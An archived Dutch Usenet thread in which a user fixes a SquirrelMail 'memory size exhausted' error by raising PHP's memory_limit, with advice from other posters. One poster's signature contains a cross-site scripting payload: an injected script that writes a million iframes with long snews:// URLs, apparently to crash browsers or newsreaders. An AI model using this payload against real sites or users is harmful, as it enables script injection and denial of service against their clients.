PDA

Bekijk Volledige Versie : PHP Fatal Error: memory size exhausted



Jaap van Wingerde
28/10/04, 22:15
"Oct 28 21:54:59 custard apache-ssl: PHP Fatal error: Allowed memory
size of 12582912 bytes exhausted (tried to allocate 35 bytes) in
/usr/share/squirrelmail/functions/imap_general.php on line 240"

Ik krijg dit soort meldingen in syslog als ik met Squirrelmail een
bericht met grote bijlage(n) probeer te open. In dit geval een bericht
met attachment van 2.5M. In /etc/php4/apache/php.ini staat onder
andere het volgende.

"max_execution_time = 120 ; Maximum execution time of each script,
in seconds
memory_limit = 12M ; Maximum amount of memory a script may
consume (8MB)
; Maximum size of POST data that PHP will accept.
post_max_size = 8M
; Maximum allowed size for uploaded files.
upload_max_filesize = 10M"

Hoe los ik dit op?

Doeg,
Jaap.




--
************************************************** *****
Homo bureaucrasis: survival of the fittest?
************************************************** *****

Jaap van Wingerde
e-mail: 1234567890@xs4all.nl
Internet: http://www.vanwingerde.net/jaap/

Hans
28/10/04, 22:35
On Thu, 28 Oct 2004 22:06:22 +0200, Jaap van Wingerde <1234567890@xs4all.nl> wrote:
> "Oct 28 21:54:59 custard apache-ssl: PHP Fatal error: Allowed memory
> size of 12582912 bytes exhausted (tried to allocate 35 bytes) in
> /usr/share/squirrelmail/functions/imap_general.php on line 240"
>
> Ik krijg dit soort meldingen in syslog als ik met Squirrelmail een
> bericht met grote bijlage(n) probeer te open. In dit geval een bericht
> met attachment van 2.5M. In /etc/php4/apache/php.ini staat onder
> andere het volgende.
>
> "max_execution_time = 120 ; Maximum execution time of each script,
> in seconds
> memory_limit = 12M ; Maximum amount of memory a script may
> consume (8MB)
> ; Maximum size of POST data that PHP will accept.
> post_max_size = 8M
> ; Maximum allowed size for uploaded files.
> upload_max_filesize = 10M"
>
> Hoe los ik dit op?


Ik zou de max_execution_time omhoog gooien met ini_set:

ini_set("max_execution_time", $waarde);

Maar is het een remote mailserver die nogal langzaam is?

Hans

--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

John Bokma
28/10/04, 22:35
Jaap van Wingerde wrote:

> "Oct 28 21:54:59 custard apache-ssl: PHP Fatal error: Allowed memory
> size of 12582912 bytes exhausted (tried to allocate 35 bytes) in
^^^^^^^^

12 MB, dus...

> memory_limit = 12M ; Maximum amount of memory a script may
> consume (8MB)

....

> Hoe los ik dit op?

Die 12M hoger zetten :-D. En ik gok dat 12M plus 35 bytes niet voldoende
is. Zoek ook uit bij welke attachement afmeting je problemen krijgt. Als 2M
werkt, maar 2.5M niet dan heb je een idee waar het breekpunt zit. Volgende
stap is uitzoeken hoeveel geheugen die .5M extra nodig heeft. Geen idee of
je in PHP een dump kan maken van aktueel gealloceerd geheugen, je kan dan
proberen met 1MB attachement, en 2MB attachement om uit te zoeken hoeveel
basisgeheugen in gebruik is, en hoeveel +1MB gebruikt.

--
John Voorbeeldscripts in Perl: http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html

Jaap van Wingerde
28/10/04, 23:05
On Thu, 28 Oct 2004 20:30:01 +0000 (UTC), Hans
<nomailwanted@blacklist.kernelnewbies.nl> wrote in
nl.internet.www.server-side in message
<slrnco2kug.9li.nomailwanted@e35203.upc-e.chello.nl> with the subject:
Re: PHP Fatal Error: memory size exhausted:
>Ik zou de max_execution_time omhoog gooien met ini_set:
>
>ini_set("max_execution_time", $waarde);

Het is een lokale server (PII met 128 MB). Die foutmelding komt al na
een paar seconden, daar kan het dus niet aan liggen.

Bedankt,
Jaap.


--
************************************************** *****
Homo bureaucrasis: survival of the fittest?
************************************************** *****

Jaap van Wingerde
e-mail: 1234567890@xs4all.nl
Internet: http://www.vanwingerde.net/jaap/

Jaap van Wingerde
28/10/04, 23:15
On 28 Oct 2004 20:30:42 GMT, John Bokma <postmaster@castleamber.com>
wrote in nl.internet.www.server-side in message
<Xns95909DCA65621castleamber@130.133.1.4> with the subject: Re: PHP
Fatal Error: memory size exhausted:
>Die 12M hoger zetten :-D. En ik gok dat 12M plus 35 bytes niet voldoende
>is. Zoek ook uit bij welke attachement afmeting je problemen krijgt. Als 2M
>werkt, maar 2.5M niet dan heb je een idee waar het breekpunt zit. Volgende
>stap is uitzoeken hoeveel geheugen die .5M extra nodig heeft. Geen idee of
>je in PHP een dump kan maken van aktueel gealloceerd geheugen, je kan dan
>proberen met 1MB attachement, en 2MB attachement om uit te zoeken hoeveel
>basisgeheugen in gebruik is, en hoeveel +1MB gebruikt.


Ik heb die 12M op 25M gezet, Apache herstart en het lukt nu wel. Ik
had nooit gedacht dat php zoveel geheugen gebruikt. Ik vond 12M al zo
veel .....

Bedankt,
Jaap.




--
************************************************** *****
Homo bureaucrasis: survival of the fittest?
************************************************** *****

Jaap van Wingerde
e-mail: 1234567890@xs4all.nl
Internet: http://www.vanwingerde.net/jaap/